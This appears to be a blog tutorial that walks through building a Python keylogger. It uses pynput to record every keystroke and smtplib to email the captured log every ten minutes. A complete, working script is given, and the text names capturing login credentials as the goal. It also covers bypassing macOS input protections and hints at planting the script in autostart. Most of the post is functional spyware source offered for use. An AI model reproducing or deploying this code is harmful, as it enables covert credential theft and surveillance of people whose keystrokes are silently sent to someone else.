Simple Python Keylogger with pynput

Hello!

Today I would like to build simple keylogger with Python, just to have a closer look on pynput library and check how difficult it is.

To fulfill my need, for this project I’m going to need fake mail account and several minutes to code 😊

Without further ado, let’s build this simple hacker tool 👻

Concept

The idea about the keylogger is very simple. I would like the python script to log every keystroke that is pressed and send it via email after repeated period of time.

So how do I do that?

Using pynput library I can put Listener on keystrokes, assign it to the variable and do the simple string operations, e.g. deleting or formatting – I mean I would like to obtain e.g. correct login details (without typos) or check if the user likes to use their keyboard or mouse to navigate.

I’ll also use build-in smtp library to send it via e-mail to me and I want script to KISS – keep it simple stupid, so the easiest solutions are going to be the best solutions 😊

Logging keys

To keylogging I’m going to pynput. Pynput is library, that allows to control and monitor input devices such as mouse and keyboard.

Latest documentation can be found here: Pynput documentation

Pynput allows to monitor and control such operations as:

  • Mouse operations:
    • setting positions
    • moving
    • pressing/releasing buttons
    • clicking/scrolling
  • Keyboard operations:
    • pressing/releasing buttons
    • typing strings
    • listening to presses/releases

Looks like a perfect match for our simple keylogger 🙂

First of all we need to download pynput with:

pip3 install pynput


And we are ready to go!

As we can check on the documentation, listening is simple as:

from pynput.keyboard import Listener
listener = Listener(on_press=on_press)
listener.start()

The magic happens in the second line: on_press=on_press, so we assing to on_press function to on_press event (and we have to define and write our own on_press function).

As I mentioned in the Concept section I would like to support deleting/formatting, so my definition looks like:

def on_press(key):
    k = str(key).replace("'", "")
    
    if k == 'Key.enter':
        msg += "[ENTER]\n"
    elif k == 'Key.backspace':
        msg = msg[:-1] 
    elif k == 'Key.shift':
        msg += '^'
    elif k == 'Key.delete':
        msg += '[DEL]'
    else:
        msg += k

As you can see I’ve written some ‘special keys’ handling, but you can adjust it to your needs.

Full list of keys that may not correspond to letter can be found in pynput Key documentation

Note: Bear in mind, that my backspace handling (highlited) can cause erros in eavesdropping and it’s just an example. If the user would type: secretlogin:secretpassword and then, by mistake or on purpose hit backspace e.g. 8 times, we will get wrong information about credentials (secretlogin:secret instead of secretlogin:secretpassword)

Pynput boundaries

Pynput has some platform limitations with Linux, Windows or macOS. My piece of code was tested on Windows machine and it’s working like a charm.

As we can read on pynput Platform limitations page to work properly on Linux, DISPLAY variable must be set.

MacOS is preventing keylogging for security reasons, so to use pynput we have to at least:

  • Run process as root
  • OR whitelist our application on Enable access for assistive devices
  • OR whitelist our terminal application

You can find more detailed hints on mentioned page.

Another part of my key logger is email sending functionality.

Email sending

E-mail sending in python is very simple. We will use build-in smtplib module. I also advise to have a look on SMTPlib module documentation.

First we need to connect to smtp server on correct port:

import smtplib
server=smtplib.SMTP('smtp.test.com',587)

In my example port is 587, which is the default mail submission port. Then, we would like to start tls (which is required for modern mailboxes) and log in:

server.starttls()
server.login("login","password")

Then, sending an e-mail is as simple as:

server.sendmail("from@test.com", "to@test.com", msg) 

And then we need to terminate session:

server.quit()

If you want to adjust the mail options, here you can find sendmail function documentation.

The whole code of sending email looks like:

import smtplib
server=smtplib.SMTP('smtp.test.com',587)
server.starttls()
server.login("login","password")
server.sendmail("from@test.com", "to@test.com", msg) #remember to assign msg var
server.quit()

Repetitions

I want mail keylogger to send emails every 10 minutes (600 seconds). So I’m going to use the simple trick with Timer thread. As we can read in the Threading documentation.

Timer object (class) represents an action that should be run only after a certain amount of time has passed — a timer.

Timer is very simple thread object, which need only interval (float) and a function to fire 🔥!

We are going to use simple trick here: in the end of send function, we are going to create timer again:

def send():
#magic here
#sending emails
#editing etc.
    Timer(600.0, send).start()

If we invoke send() function for the first time, Timer is going to wait 10 minutes and invoke send() function again! And again! And … so it’s a little bit of recursion in here 😉

Final effect

As you can see for a simple keylogger with e-mail sending functionality, we need less then 40 lines of code:

from pynput.keyboard import Listener
import smtplib
from threading import Timer

msg = ''

def on_press(key):
    global msg
    k = str(key).replace("'", "")
    
    if k == 'Key.enter':
        msg += "[ENTER]\n"
    elif k == 'Key.backspace':
        msg = msg[:-1] 
    elif k == 'Key.shift':
        msg += '^'
    elif k == 'Key.delete':
        msg += '[DEL]'
    else:
        msg += k

def send():
    global msg
    if len(msg)>0:
        server.sendmail("from@test.com", "to@test.com", msg)
    Timer(600.0, send).start()

#keyboard listening
listener = Listener(on_press=on_press)
listener.start()

#connecting to smtp server
server=smtplib.SMTP('smtp.test.com',587)
server.starttls()
server.login("login","password")

#start sending function after 10 minutes
Timer(600.0, send).start()

If you need more extensive logic, it’ll require some adjustments, but still it’s almost effortless. Planting this simple script into autostart shouldn’t be very difficult so if you really need this kind of software (which I advise not to use), so I’ll leave it to you!

Source code for this project on my Github: HeadFullOfCiphers/PynputKeylogger

So that’s it for today 😊 I hope you like this little project and if you have any suggestions or questions do not hesitate to contact me!

Reference list:

  1. Pynput documentation
  2. SMTPlib module documentation
  3. Threading documentation

Check out similiar posts:

2 thoughts on “Simple Python Keylogger with pynput

Add yours

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: